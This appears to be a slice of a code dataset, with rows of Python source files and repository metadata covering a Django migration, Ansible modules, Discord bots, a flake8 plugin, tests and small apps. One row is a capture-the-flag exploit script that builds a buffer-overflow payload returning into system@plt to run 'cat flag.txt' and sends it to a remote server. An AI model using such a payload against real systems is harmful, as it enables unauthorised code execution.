from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('feedback_survey', '0013_feedback_state'),
]
operations = [
migrations.Alter... | 0 | 0 | 0 | 339 | 0 | 0 | 0 | 19 | 46 |
f3df173c07598e604dee27e3ee7b95046ae4022c | 11,132 | py | Python | ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py | gvashchenkolineate/gvashchenkolineate_infra_trytravis | 0fb18850afe0d8609693ba4b23f29c7cda17d97f | [
"MIT"
] | 17 | 2017-06-07T23:15:01.000Z | 2021-08-30T14:32:36.000Z | ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py | gvashchenkolineate/gvashchenkolineate_infra_trytravis | 0fb18850afe0d8609693ba4b23f29c7cda17d97f | [
"MIT"
] | 9 | 2017-06-25T03:31:52.000Z | 2021-05-17T23:43:12.000Z | ansible/venv/lib/python2.7/site-packages/ansible/module_utils/network/nxos/config/l3_interfaces/l3_interfaces.py | gvashchenkolineate/gvashchenkolineate_infra_trytravis | 0fb18850afe0d8609693ba4b23f29c7cda17d97f | [
"MIT"
] | 3 | 2018-05-26T21:31:22.000Z | 2019-09-28T17:00:45.000Z | #
# -*- coding: utf-8 -*-
# Copyright 2019 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
"""
The nxos_l3_interfaces class
It is in this file where the current configuration (as dict)
is compared to the provided configuration (as dict) and the command set
necessar... | 35.565495 | 120 | 0.590729 | #
# -*- coding: utf-8 -*-
# Copyright 2019 Red Hat
# GNU General Public License v3.0+
# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
"""
The nxos_l3_interfaces class
It is in this file where the current configuration (as dict)
is compared to the provided configuration (as dict) and the command set
necessar... | 0 | 0 | 0 | 10,213 | 0 | 0 | 0 | 299 | 134 |
c60315315b1b0a6ab3d7ae3c01b28dc0330bc248 | 286 | py | Python | src/startup_tasks.py | bbrietzke/amina-naidu | 728748aaaa5a8125215ebc47303ea32d983942ce | [
"BSD-3-Clause"
] | null | null | null | src/startup_tasks.py | bbrietzke/amina-naidu | 728748aaaa5a8125215ebc47303ea32d983942ce | [
"BSD-3-Clause"
] | null | null | null | src/startup_tasks.py | bbrietzke/amina-naidu | 728748aaaa5a8125215ebc47303ea32d983942ce | [
"BSD-3-Clause"
] | null | null | null | import logging
logger = logging.getLogger('tasks')
# https://discord.gg/C6AQaJcDdn | 22 | 48 | 0.737762 | from discord.ext.commands import Cog
from discord.utils import get
from discord.ext import tasks
import logging
logger = logging.getLogger('tasks')
class StartupTasks(Cog, name = 'Startup Tasks'):
def __init__(self, bot):
self.__bot = bot
# https://discord.gg/C6AQaJcDdn | 0 | 0 | 0 | 81 | 0 | 0 | 0 | 31 | 89 |
fe1f740fd51bf888fbacf441f65fbe1a286f3389 | 9,577 | py | Python | flake8_prevent_fails/__init__.py | Atterratio/flake8-prevent-fails | 068502a1542d03e60d9d9a9853dfdc1f0883f9cb | [
"MIT"
] | null | null | null | flake8_prevent_fails/__init__.py | Atterratio/flake8-prevent-fails | 068502a1542d03e60d9d9a9853dfdc1f0883f9cb | [
"MIT"
] | null | null | null | flake8_prevent_fails/__init__.py | Atterratio/flake8-prevent-fails | 068502a1542d03e60d9d9a9853dfdc1f0883f9cb | [
"MIT"
] | null | null | null |
__version__ = '0.0.5'
__all__ = ('FailsChecker', )
MESSAGES = {
'PF101': 'PF101 Potential IndexError fail.',
'PF102': 'PF102 Potential KeyError fail. You can replace this with `dict.get(key, failback_value)`',
'PF103': 'PF103 Potential IndexError or KeyError fail.',
}
| 41.280172 | 104 | 0.446695 | import ast
__version__ = '0.0.5'
__all__ = ('FailsChecker', )
MESSAGES = {
'PF101': 'PF101 Potential IndexError fail.',
'PF102': 'PF102 Potential KeyError fail. You can replace this with `dict.get(key, failback_value)`',
'PF103': 'PF103 Potential IndexError or KeyError fail.',
}
class PluginVisitor(ast.... | 0 | 0 | 0 | 9,235 | 0 | 0 | 0 | -11 | 68 |
9bfb7d2af35b5044c0b51f83cbd723b998930299 | 2,764 | py | Python | Cruise Control/Solution.py | YIWEI-CHEN/google_code_jam_practice_session_2018 | a0fd32911e10b69116c2923ab1c9e58e4e02fdde | [
"MIT"
] | null | null | null | Cruise Control/Solution.py | YIWEI-CHEN/google_code_jam_practice_session_2018 | a0fd32911e10b69116c2923ab1c9e58e4e02fdde | [
"MIT"
] | null | null | null | Cruise Control/Solution.py | YIWEI-CHEN/google_code_jam_practice_session_2018 | a0fd32911e10b69116c2923ab1c9e58e4e02fdde | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 1 15:18:09 2018
@author: yiwei
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 1 06:11:18 2018
@author: yiwei
"""
if __name__ == '__main__':
FROM_STDIN = True
# FROM_STDIN = False
horse_list = []
if FR... | 30.043478 | 111 | 0.58864 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 1 15:18:09 2018
@author: yiwei
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Apr 1 06:11:18 2018
@author: yiwei
"""
from copy import deepcopy
class Horse(object):
def __init__(self, location, speed):
self.loca... | 0 | 0 | 0 | 223 | 0 | 1,456 | 0 | 4 | 91 |
2625845330bef60b1eb6182c371d9b13032bb229 | 8,576 | py | Python | measurexp/NMF.py | bcl-group/measurexp | 66ab471dad2534ec48d13d0546ee3a4f0eb46a91 | [
"MIT"
] | null | null | null | measurexp/NMF.py | bcl-group/measurexp | 66ab471dad2534ec48d13d0546ee3a4f0eb46a91 | [
"MIT"
] | null | null | null | measurexp/NMF.py | bcl-group/measurexp | 66ab471dad2534ec48d13d0546ee3a4f0eb46a91 | [
"MIT"
] | null | null | null | import numpy as np
# NMF
# from scipy.sparse.base import issparse
# import warnings
# from sklearn.decomposition._nmf import _initialize_nmf as init_NMF
X = np.array([[1, 1], [2, 1], [3, 1.2], [4, 1], [5, 0.8], [6, 1]])
model = cuNMF(init='nndsvd')
model.fit_transform(X)
# decomposition.NMF()
| 38.285714 | 79 | 0.548158 | import numpy as np
from sklearn import decomposition
# NMF
from sklearn._config import config_context
from sklearn.decomposition._nmf \
import _beta_divergence, \
_check_string_param, \
_check_init, \
_initialize_nmf, \
_compute_regularization
from sklearn.utils.validation \
import check_array,... | 9 | 0 | 0 | 1,033 | 0 | 6,716 | 0 | 250 | 270 |
f9350d3119001689df5632afe7aa85da2f895288 | 221 | py | Python | big_data/bokeh_examples/function_example.py | paulhtremblay/big-data | dfa2aa9877300a57e7a9368af59c07fcc5841b4f | [
"MIT"
] | null | null | null | big_data/bokeh_examples/function_example.py | paulhtremblay/big-data | dfa2aa9877300a57e7a9368af59c07fcc5841b4f | [
"MIT"
] | 7 | 2020-06-05T18:13:25.000Z | 2022-03-11T23:19:48.000Z | big_data/bokeh_examples/function_example.py | paulhtremblay/big-data | dfa2aa9877300a57e7a9368af59c07fcc5841b4f | [
"MIT"
] | 1 | 2020-11-25T18:24:37.000Z | 2020-11-25T18:24:37.000Z | from bokeh.plotting import show
if __name__ == '__main__':
p = plot_func()
show(p)
| 15.785714 | 40 | 0.59276 | from bokeh.plotting import figure, show
import numpy as np
def plot_func():
x = np.linspace(0,1,100)
print(x)
y = [x * x for x in x]
print(y)
if __name__ == '__main__':
p = plot_func()
show(p)
| 0 | 0 | 0 | 0 | 0 | 77 | 0 | 6 | 45 |
2758200c7b9b4e23118e91e0e479902f4cc9a02c | 68 | py | Python | src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py | yosoyjay/project-nps-vessel-drift | 1cdc14ef87db31fa03b0c3bdc1d60c332727ef57 | [
"MIT"
] | null | null | null | src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py | yosoyjay/project-nps-vessel-drift | 1cdc14ef87db31fa03b0c3bdc1d60c332727ef57 | [
"MIT"
] | null | null | null | src/vessel-drift-analysis/vessel_drift_analysis/vessel_drift.py | yosoyjay/project-nps-vessel-drift | 1cdc14ef87db31fa03b0c3bdc1d60c332727ef57 | [
"MIT"
] | null | null | null | # Calculations related to estimate probability of a vessel drifting
| 34 | 67 | 0.838235 | # Calculations related to estimate probability of a vessel drifting
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f678b30434cfbcab5a3a8a898d0a71ec304355f1 | 919 | py | Python | voteModels.py | TheaGao/SklearnModel | fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa | [
"MIT"
] | 1 | 2017-12-22T08:51:43.000Z | 2017-12-22T08:51:43.000Z | voteModels.py | TheaGao/SklearnModel | fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa | [
"MIT"
] | null | null | null | voteModels.py | TheaGao/SklearnModel | fe445cddd4fde9acdc87e7e7b3fbc356d1c586aa | [
"MIT"
] | null | null | null | from sklearn.externals import joblib
from preprocessData import getDataXY, get_accuracy
trainX, trainY, testX, testY, validX, validY = getDataXY()
print type(trainY)
models = ['Models/dt0.58.pkl', 'Models/NB0.59.pkl', 'Models/NC0.57.pkl',
'Models/NNP0.61.pkl', 'Models/sgd0.54.pkl']
all_pre = []
for model ... | 20.886364 | 83 | 0.644178 | from sklearn.externals import joblib
from preprocessData import getDataXY, get_accuracy
trainX, trainY, testX, testY, validX, validY = getDataXY()
print type(trainY)
models = ['Models/dt0.58.pkl', 'Models/NB0.59.pkl', 'Models/NC0.57.pkl',
'Models/NNP0.61.pkl', 'Models/sgd0.54.pkl']
all_pre = []
for model ... | 0 | 0 | 0 | 0 | 0 | 401 | 0 | 0 | 23 |
a1ab82d17d46b556b507ef9ff87a538c36628057 | 327 | py | Python | docs/source/examples/FB2.0/patch_subnets.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 14 | 2018-12-07T18:30:27.000Z | 2022-02-22T09:12:33.000Z | docs/source/examples/FB2.0/patch_subnets.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 28 | 2019-09-17T21:03:52.000Z | 2022-03-29T22:07:35.000Z | docs/source/examples/FB2.0/patch_subnets.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 15 | 2020-06-11T15:50:08.000Z | 2022-03-21T09:27:25.000Z | from pypureclient.flashblade import Subnet
# update a subnet's gateway by name
res = client.patch_subnets(
names=['mysubnet'], subnet=Subnet(gateway='1.2.3.1'))
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# Other valid fields: ids
# See section "Common Fields" for ex... | 29.727273 | 57 | 0.743119 | from pypureclient.flashblade import Subnet
# update a subnet's gateway by name
res = client.patch_subnets(
names=['mysubnet'], subnet=Subnet(gateway='1.2.3.1'))
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# Other valid fields: ids
# See section "Common Fields" for ex... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
06f951e3283966b724d8baaa6c24390241496a9d | 667 | py | Python | dataset-processor2.py | Pawel762/class5-homework | 8e48dcda1ed91b7a5e28bea6db13b2a82182e074 | [
"MIT"
] | null | null | null | dataset-processor2.py | Pawel762/class5-homework | 8e48dcda1ed91b7a5e28bea6db13b2a82182e074 | [
"MIT"
] | null | null | null | dataset-processor2.py | Pawel762/class5-homework | 8e48dcda1ed91b7a5e28bea6db13b2a82182e074 | [
"MIT"
] | null | null | null | import pandas as pd
wine_df = pd.read_csv(filepath_or_buffer='~/class5-homework/wine.data',
sep=',',
header=None)
wine_df.columns = ['Class','Alcohol','Malic_Acid','Ash','Alcalinity_of_Ash','Magnesium',
'Total_Phenols','Flavanoids','Nonflavanoid_Phenols','Proanthocyanins... | 29 | 88 | 0.688156 | import pandas as pd
import matplotlib.pyplot as plt
wine_df = pd.read_csv(filepath_or_buffer='~/class5-homework/wine.data',
sep=',',
header=None)
wine_df.columns = ['Class','Alcohol','Malic_Acid','Ash','Alcalinity_of_Ash','Magnesium',
'Total_Phenols','Flavanoids','Nonfl... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 23 |
34447222ec8b637e61000a67d97c637fdcfc8fe1 | 12,689 | py | Python | fun.py | heixiaobai/adnmb-cli | da8701bf301e9199ec79a584617cd131a4c08611 | [
"MIT"
] | 1 | 2021-11-11T02:19:41.000Z | 2021-11-11T02:19:41.000Z | fun.py | heixiaobai/adnmb-cli | da8701bf301e9199ec79a584617cd131a4c08611 | [
"MIT"
] | null | null | null | fun.py | heixiaobai/adnmb-cli | da8701bf301e9199ec79a584617cd131a4c08611 | [
"MIT"
] | 1 | 2021-11-11T02:20:49.000Z | 2021-11-11T02:20:49.000Z | import re
import curses
import config
import time
import api
#
# conf: config
conf = config.config_info
# cont:
cont = config.control_info
#
thread_list = {}
#
post_list = {}
# TODO:
cont['browse_now_list'] = 0
# TODO:
forum_list = api.get_forum_list('adnmb')
ss = pad_b = pad_i = pad_c = None
def stdscr_pad(s... | 27.465368 | 96 | 0.533691 | import re
import curses
import config
import time
import api
# 自定义的所有函数
# conf: 从config获取来自默认或者用户定义的配置信息
conf = config.config_info
# cont: 在运行过程中保存关于运行状态以及用于控制的信息
cont = config.control_info
# 全局使用，当前所访问版块的全部内容
thread_list = {}
# 全局使用，当前所访问的串的全部内容
post_list = {}
# TODO:注释
cont['browse_now_list'] = 0
# TODO: 需要把自定义版块，目前... | 1,869 | 0 | 0 | 0 | 0 | 573 | 0 | 0 | 46 |
51f226bec2148468c07bafa983dd37d9c64a9486 | 4,752 | py | Python | server/volumes/brain_src/test/test_control_handling.py | paul-felt/geppetto | 05596c37f63c1e89132cf3e07f9e8d7966766916 | [
"MIT"
] | null | null | null | server/volumes/brain_src/test/test_control_handling.py | paul-felt/geppetto | 05596c37f63c1e89132cf3e07f9e8d7966766916 | [
"MIT"
] | null | null | null | server/volumes/brain_src/test/test_control_handling.py | paul-felt/geppetto | 05596c37f63c1e89132cf3e07f9e8d7966766916 | [
"MIT"
] | null | null | null | import unittest
from brain import constants
claw_control_info = {
constants.SIGNAL_NAME: 'claw',
constants.SIGNAL_LIMITS: [100.0, 400.0],
constants.SIGNAL_CHANNEL_NAME: 'gp.robots.testrobot.controls.claw',
}
twist_control_info = {
constants.SIGNAL_NAME: 'twist',
constants.SIGNAL_LIMITS: [100.0, 500... | 39.932773 | 112 | 0.611742 | import unittest
import numpy as np
import base64
from brain import control_handling
from brain import constants
claw_control_info = {
constants.SIGNAL_NAME: 'claw',
constants.SIGNAL_LIMITS: [100.0, 400.0],
constants.SIGNAL_CHANNEL_NAME: 'gp.robots.testrobot.controls.claw',
}
twist_control_info = {
co... | 0 | 0 | 0 | 4,210 | 0 | 0 | 0 | 2 | 91 |
1b9f3e6d5112c9b28a120b41422bd49f725e07ba | 2,847 | py | Python | src/hardware_indep/multi/parser.stage.c.py | GEANT-DataPlaneProgramming/t4p4s | 334dec8e941ed7526d320fc1697ad7a30c3709fb | [
"Apache-2.0"
] | 4 | 2021-12-10T19:06:51.000Z | 2022-01-06T19:52:46.000Z | src/hardware_indep/multi/parser.stage.c.py | GEANT-DataPlaneProgramming/t4p4s | 334dec8e941ed7526d320fc1697ad7a30c3709fb | [
"Apache-2.0"
] | null | null | null | src/hardware_indep/multi/parser.stage.c.py | GEANT-DataPlaneProgramming/t4p4s | 334dec8e941ed7526d320fc1697ad7a30c3709fb | [
"Apache-2.0"
] | null | null | null | # SPDX-License-Identifier: Apache-2.0
# Copyright 2021 Eotvos Lorand University, Budapest, Hungary
compiler_common.current_compilation['is_multicompiled'] = True
part_count = compiler_common.current_compilation['multi']
multi_idx = compiler_common.current_compilation['multi_idx']
table_names = (table.short_name + ("... | 44.484375 | 194 | 0.600281 | # SPDX-License-Identifier: Apache-2.0
# Copyright 2021 Eotvos Lorand University, Budapest, Hungary
compiler_common.current_compilation['is_multicompiled'] = True
part_count = compiler_common.current_compilation['multi']
multi_idx = compiler_common.current_compilation['multi_idx']
table_names = (table.short_name + ("... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
f01c40eda22ce2dbb9c545cd950b4f467984b666 | 285 | py | Python | venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | null | null | null | venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | 7 | 2021-02-08T20:22:15.000Z | 2022-03-11T23:19:41.000Z | venv/lib/python2.7/site-packages/pylint/test/input/func_newstyle___slots__.py | mutaihillary/mycalculator | 55685dd7c968861f18ae0701129f5af2bc682d67 | [
"MIT"
] | null | null | null | # pylint: disable=R0903
"""test __slots__ on old style class"""
__revision__ = 1
__slots__ = 'hop' # pfff
| 15.833333 | 39 | 0.585965 | # pylint: disable=R0903
"""test __slots__ on old style class"""
__revision__ = 1
class OkOk(object):
"""correct usage"""
__slots__ = ('a', 'b')
class HaNonNonNon:
"""bad usage"""
__slots__ = ('a', 'b')
def __init__(self):
pass
__slots__ = 'hop' # pfff
| 0 | 0 | 0 | 131 | 0 | 0 | 0 | 0 | 46 |
4ae2d6e7ad5b3277cfeece0959766a37d3ee5322 | 3,576 | py | Python | redis_consumer/consumers/spot_consumer_test.py | vanvalenlab/tf-serving-redis-interface | f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0 | [
"Apache-2.0"
] | null | null | null | redis_consumer/consumers/spot_consumer_test.py | vanvalenlab/tf-serving-redis-interface | f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0 | [
"Apache-2.0"
] | null | null | null | redis_consumer/consumers/spot_consumer_test.py | vanvalenlab/tf-serving-redis-interface | f696c05ee622ac6cc38dc1afcef2379d2ea9d9f0 | [
"Apache-2.0"
] | null | null | null | # Copyright 2016-2022 The Van Valen Lab at the California Institute of
# Technology (Caltech), with support from the Paul Allen Family Foundation,
# Google, & National Institutes of Health (NIH) under Grant U24CA224309-01.
# All rights reserved.
#
# Licensed under a modified Apache License, Version 2.0 (the "License");... | 38.869565 | 86 | 0.675615 | # Copyright 2016-2022 The Van Valen Lab at the California Institute of
# Technology (Caltech), with support from the Paul Allen Family Foundation,
# Google, & National Institutes of Health (NIH) under Grant U24CA224309-01.
# All rights reserved.
#
# Licensed under a modified Apache License, Version 2.0 (the "License");... | 0 | 0 | 0 | 1,935 | 0 | 0 | 0 | 101 | 135 |
889ac7ffd9a005060bb43a97aad62ce181ad364f | 1,608 | py | Python | lang/python/bottle/todo/todoone.py | liuyang1/test | a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417 | [
"MIT"
] | 8 | 2015-06-07T13:25:48.000Z | 2022-03-22T23:14:50.000Z | lang/python/bottle/todo/todoone.py | liuyang1/test | a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417 | [
"MIT"
] | 30 | 2016-01-29T01:36:41.000Z | 2018-09-19T07:01:22.000Z | lang/python/bottle/todo/todoone.py | liuyang1/test | a4560e0c9ffd0bc054d55bbcf12a894ab5b7d417 | [
"MIT"
] | null | null | null | from bottle import run, debug
def pretty_print_POST(req):
"""
At this point it is completely built and ready
to be fired; it is "prepared".
However pay attention at the formatting used in
this function because it is programmed to be pretty
printed and may differ from the actual request.
... | 27.724138 | 74 | 0.574627 | from bottle import route, run, debug, template, request
import sqlite3
def pretty_print_POST(req):
"""
At this point it is completely built and ready
to be fired; it is "prepared".
However pay attention at the formatting used in
this function because it is programmed to be pretty
printed an... | 0 | 752 | 0 | 0 | 0 | 0 | 0 | 19 | 67 |
919d3ccaca0399f9adb321600f7cfa64da99a4b2 | 6,262 | py | Python | python/deal_10_fq_list.py | FireflyTang/WoQu | 9f1763b1971e8fce99d123584e803fac36821756 | [
"MIT"
] | null | null | null | python/deal_10_fq_list.py | FireflyTang/WoQu | 9f1763b1971e8fce99d123584e803fac36821756 | [
"MIT"
] | null | null | null | python/deal_10_fq_list.py | FireflyTang/WoQu | 9f1763b1971e8fce99d123584e803fac36821756 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*
#!/usr/bin/python
| 33.666667 | 97 | 0.454168 | # -*- coding: utf-8 -*
#!/usr/bin/python
from dealctrl import *
class deal_10_pb_list(dealctrl):
def __init__(self,con):
dealctrl.__init__(self,con)
def run(self):
userid=int(self.recvdic['userid'])
time=int(self.recvdic['time'])
timelimit=''
if(time):
timel... | 0 | 0 | 0 | 6,174 | 0 | 0 | 0 | 1 | 46 |
63cb909a668dcccf26c627d74673ec61d29d34cb | 714 | py | Python | bot.py | Snowcola/simbot | 9d7b04bb46a85d5ffdb57a1c725ca0def92442e8 | [
"MIT"
] | null | null | null | bot.py | Snowcola/simbot | 9d7b04bb46a85d5ffdb57a1c725ca0def92442e8 | [
"MIT"
] | null | null | null | bot.py | Snowcola/simbot | 9d7b04bb46a85d5ffdb57a1c725ca0def92442e8 | [
"MIT"
] | null | null | null | import os
import logging
from discord.ext import commands
from simc import SimC
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(
filename='discord.log', encoding='utf-8', mode='w')
handler.setFormatter(
logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %... | 22.3125 | 73 | 0.726891 | import os
import discord
import asyncio
import logging
from discord.ext import commands
from simc import SimC
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(
filename='discord.log', encoding='utf-8', mode='w')
handler.setFormatter(
logging.Formatter('%(ascti... | 0 | 71 | 0 | 0 | 0 | 0 | 0 | -14 | 67 |
5eff4f616e1bf74af785abd760f50d2a582846ad | 829 | py | Python | mark_blocks.py | m0t/ida-scripts | 17124a4dfc869064a2b44ba89047d03ab4157230 | [
"MIT"
] | 5 | 2015-03-21T05:48:22.000Z | 2016-12-04T13:35:48.000Z | mark_blocks.py | m0t/ida-scripts | 17124a4dfc869064a2b44ba89047d03ab4157230 | [
"MIT"
] | null | null | null | mark_blocks.py | m0t/ida-scripts | 17124a4dfc869064a2b44ba89047d03ab4157230 | [
"MIT"
] | null | null | null | '''
@author: m0t
'''
#search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each.
#To be used with process stalker to immediately see "interesting" blocks
purple = 0x9933cc #our definition of purple...
#get start address of each function, scan it for purple, setbreakpoint()
f... | 23.027778 | 99 | 0.714113 | '''
@author: m0t
'''
#search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each.
#To be used with process stalker to immediately see "interesting" blocks
from idc import *
from idautils import *
purple = 0x9933cc #our definition of purple...
#get start address of each funct... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | -3 | 45 |
0c4e4f3219b1763eefe5c44b1aa31a75eea348c6 | 2,971 | py | Python | sliding_window/lesson_4.py | Adorism/grok-practice | 62576ef8cce1f9e4289366d9f733618f50c9b648 | [
"MIT"
] | null | null | null | sliding_window/lesson_4.py | Adorism/grok-practice | 62576ef8cce1f9e4289366d9f733618f50c9b648 | [
"MIT"
] | null | null | null | sliding_window/lesson_4.py | Adorism/grok-practice | 62576ef8cce1f9e4289366d9f733618f50c9b648 | [
"MIT"
] | null | null | null | '''
Problem Statement
Given a string with lowercase letters only, if you are allowed to replace no more than k letters with any letter, find the length of the longest substring having the same letters after replacement.
Example 1:
Input: String="aabccbb", k=2
Output: 5
Explanation: Replace the two 'c' with 'b' to have ... | 34.952941 | 213 | 0.684618 | '''
Problem Statement
Given a string with lowercase letters only, if you are allowed to replace no more than ‘k’ letters with any letter, find the length of the longest substring having the same letters after replacement.
Example 1:
Input: String="aabccbb", k=2
Output: 5
Explanation: Replace the two 'c' with 'b' to hav... | 15 | 0 | 0 | 0 | 0 | 1,864 | 0 | 0 | 68 |
1452ea9c83f0c6e864e6bb0c90c52cc4eb4cfc1e | 3,292 | py | Python | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/ce_20000819.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | 1 | 2020-07-26T03:57:45.000Z | 2020-07-26T03:57:45.000Z |
'''Contributed by Carey Evans'''
"""outenc.py
Test whether 4DOM and 4XSLT produce correct output given different
input strings, using different output encodings. The general testing
procedure goes:
Read document into DOM from string <A>.
Extract text into Unicode string <B>.
Write DOM to another stri... | 25.92126 | 93 | 0.655832 |
'''Contributed by Carey Evans'''
import sys
from Ft.Xml.Xslt import Processor
"""outenc.py
Test whether 4DOM and 4XSLT produce correct output given different
input strings, using different output encodings. The general testing
procedure goes:
Read document into DOM from string <A>.
Extract text into Uni... | 0 | 0 | 0 | 0 | 0 | 1,477 | 0 | 12 | 213 |
758d57783fdc7bdff4fbe8436f421b519abc52a6 | 2,584 | py | Python | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py | vishalbelsare/h2o-3 | 9322fb0f4c0e2358449e339a434f607d524c69fa | [
"Apache-2.0"
] | 1 | 2022-03-15T06:08:14.000Z | 2022-03-15T06:08:14.000Z | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py | vishalbelsare/h2o-3 | 9322fb0f4c0e2358449e339a434f607d524c69fa | [
"Apache-2.0"
] | 58 | 2021-10-01T12:43:37.000Z | 2021-12-08T22:58:43.000Z | h2o-py/tests/testdir_algos/glm/pyunit_PUBDEV_5008_5386_glm_ordinal_large.py | vishalbelsare/h2o-3 | 9322fb0f4c0e2358449e339a434f607d524c69fa | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
from __future__ import print_function
from tests import pyunit_utils
if __name__ == "__main__":
pyunit_utils.standalone_test(testOrdinalLogit)
else:
testOrdinalLogit()
| 45.333333 | 141 | 0.629644 | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
from __future__ import print_function
import h2o
from tests import pyunit_utils
from h2o.estimators.glm import H2OGeneralizedLinearEstimator
def testOrdinalLogit():
Dtrain = h2o.import_file(pyunit_utils.locate("bigdata/laptop/glm_ordinal_logit/ordinal_ordinal_20_tra... | 0 | 0 | 0 | 0 | 0 | 2,240 | 0 | 28 | 90 |
a23bb494afe62c84ae4f93b0840f0a82740884cd | 421 | py | Python | ectf'14/exploit/250/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | 2 | 2015-03-24T22:20:08.000Z | 2018-05-12T16:41:13.000Z | ectf'14/exploit/250/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | ectf'14/exploit/250/exploit.py | anarcheuz/CTF | beaccbfe036d90c7d7018978bad288c831d3f8f5 | [
"MIT"
] | null | null | null | import socket
import struct
from binascii import hexlify
system_plt = 0x080483a0
sh = 0x80485c0 # /bin/bash -c 'cat flag.txt'
payload = "A"*140
payload += struct.pack("<I", system_plt)
payload += "AAAA"
payload += struct.pack("<I", sh)
#open('payload', 'w').write(payload)
s=socket.create_connection(('212.71.235.214... | 18.304348 | 52 | 0.700713 | import socket
import struct
from binascii import hexlify
system_plt = 0x080483a0
sh = 0x80485c0 # /bin/bash -c 'cat flag.txt'
payload = "A"*140
payload += struct.pack("<I", system_plt)
payload += "AAAA"
payload += struct.pack("<I", sh)
#open('payload', 'w').write(payload)
s=socket.create_connection(('212.71.235.214... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
9883d0fce6658908ad9144bec50e2e9e4127d938 | 727 | py | Python | kaijigame.py | theortsac/kaiji-e-card | 3eca9df6ff6cb1890619f7b5593090aa531a7718 | [
"MIT"
] | null | null | null | kaijigame.py | theortsac/kaiji-e-card | 3eca9df6ff6cb1890619f7b5593090aa531a7718 | [
"MIT"
] | null | null | null | kaijigame.py | theortsac/kaiji-e-card | 3eca9df6ff6cb1890619f7b5593090aa531a7718 | [
"MIT"
] | null | null | null | from random import randrange
kingCards = ['C', 'C', 'C', 'C', 'K']
slaveCards = ['C', 'C', 'C', 'C', 'S']
print("""- C = Citizen
- S = Slave
- K = King""")
for i in range(5):
print('Your cards:', slaveCards)
cardIPlay = input('Which card will you play? ')
slaveCards.remove(cardIPlay)
cardKPlay = kingCa... | 27.961538 | 52 | 0.562586 | from random import randrange
kingCards = ['C', 'C', 'C', 'C', 'K']
slaveCards = ['C', 'C', 'C', 'C', 'S']
print("""- C = Citizen
- S = Slave
- K = King""")
for i in range(5):
print('Your cards:', slaveCards)
cardIPlay = input('Which card will you play? ')
slaveCards.remove(cardIPlay)
cardKPlay = kingCa... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
0bafb6537a70fec8df830c76f640e26f36eafc3c | 162 | py | Python | random/main.py | alexander-schilling/fintual_test | 3a8a3cd17dea4a7a1203eb1cd58a2af411700207 | [
"MIT"
] | null | null | null | random/main.py | alexander-schilling/fintual_test | 3a8a3cd17dea4a7a1203eb1cd58a2af411700207 | [
"MIT"
